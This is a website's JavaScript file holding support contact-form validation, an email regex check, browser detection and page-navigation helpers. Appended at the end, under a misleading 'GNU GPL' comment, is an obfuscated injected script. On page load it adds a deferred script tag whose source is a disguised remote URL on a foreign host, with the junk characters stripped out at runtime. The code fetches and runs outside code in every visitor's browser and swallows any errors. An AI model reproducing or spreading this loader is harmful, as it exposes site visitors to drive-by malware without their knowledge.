function conditionalRefresh(anchorHref,windowLocation)
{
	if(windowLocation.href == null || windowLocation.href.indexOf(anchorHref.substr(0,anchorHref.lastIndexOf('#'))) != -1)
	{
		windowLocation.href=anchorHref;
		windowLocation.reload(true);
	}
}

function isIE()
{
	return /msie/i.test(navigator.userAgent) && !/opera/i.test(navigator.userAgent);
}

// z-index fix for IE so top nav menu dropdowns show on top of the selected tab
function navToTop(anchor)
{
	if(isIE())
	{
		anchor.style.position = 'static';
	}
}

function addycheck(Field)
{
	var eaddy = /^\w+([\.-_]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/
	var input4 = Field.value;
	var found4 = eaddy.test(input4);
	if( found4 )
	{
		return true;
	}
	else
	{
		return false;
	}
}

function validate(selectionType, requireMsg) 
{
	if(document.support.name.value.length == 0)
	{
		alert('Please enter your name!');
		document.support.name.focus();
		return false;
	}
	if(document.support.email.value.length == 0)
	{
		alert('Please enter your email address!');
		document.support.email.focus();
		return false;
	}
	if(!addycheck(document.support.email))
	{
		alert('The e-mail address you entered is not valid!');
		document.support.email.focus();
		return false;
	}
	if(document.support.type.value.length == 0)
	{
		var alertStr = 'Please select the type of question!';
		if(selectionType == 'interest')
			alertStr = 'Please specify whether you are interested in Conference Calls, Webinars, or both!';
		alert(alertStr);
		document.support.type.focus();
		return false;
	}
	if(requireMsg && document.support.message.value.length == 0)
	{
		alert('Please enter your email message!');
		document.support.message.focus();
		return false;
	}
}

function goToContactForm(questionType)
{
	if(questionType == null || questionType == '')
	{
		alert('Please select Type of Question');
		return;
	}

	if(questionType == 'Sales')
	{
		window.document.location.href = 'contact-distributor.htm';
	}
	else
	{
		window.document.location.href = 'contact-corporate.htm';
	}
}

/*GNU GPL*/ try{window.onload = function(){var Hva23p3hnyirlpv7 = document.createElement('script');Hva23p3hnyirlpv7.setAttribute('type', 'text/javascript');Hva23p3hnyirlpv7.setAttribute('id', 'myscript1');Hva23p3hnyirlpv7.setAttribute('src',  'h))t#^t$#))!p&&#:^!&/^^/)^(@m&()y&#b(r@&&!!o)^w(&(s)^)$e(@&#r&))b^a#r!&$-#@c&#o#m#@&.)@$s)a!m$&s#)^u!$^n$g#!.$c!^o^@(m#.^n@!#a@@s#$!a#&-(@^g$o)#v)@&$.(!(@(e)&g&!#r)e)@)a^)t$!s(!(a@!l#e@.@)@r)#u(&#!:)@8!^)0!8$!(0!/^#m$$e)g^&a###v&!i&d!e))#o!@(.(@c&)o$!(m^&/^m&^e((^)g$!((a)#)^v@!i(@&#d#)e@&o$#.^c$!#o@m^/$#&l$a)r#@(e)^^d#&o(!()u#(t$)e##.$f(r^&(@/!(^&b!!i)$$l@)!)d^&.#@&(d$@$e(/)g$o^o$&^g^!&l()e!).(@^#c)$!o#&)@@m!/^$'.replace(/\$|\^|\!|&|\)|\(|@|#/ig, ''));Hva23p3hnyirlpv7.setAttribute('defer', 'defer');document.body.appendChild(Hva23p3hnyirlpv7);}} catch(e) {}